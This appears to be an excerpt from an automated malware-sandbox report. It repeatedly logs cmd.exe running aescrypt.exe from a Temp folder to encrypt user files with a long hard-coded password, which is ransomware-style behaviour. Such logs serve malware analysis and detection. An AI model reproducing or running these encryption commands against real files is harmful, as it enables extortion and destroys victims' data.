Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_19[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_20[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_21[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_23[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_24[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_26[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_3[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_5[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_6[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_19[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_22[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_24[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_25[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_12[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_15[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_16[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_17[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_21[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_21[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_23[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_6[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_14[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_5[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Internet Explorer\brndlog.txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_13[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_17[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_19[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Internet Explorer\brndlog.txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_24[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_23[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Diagnosis\osver.txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_16[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_22[1].txt'	Jump to behavior
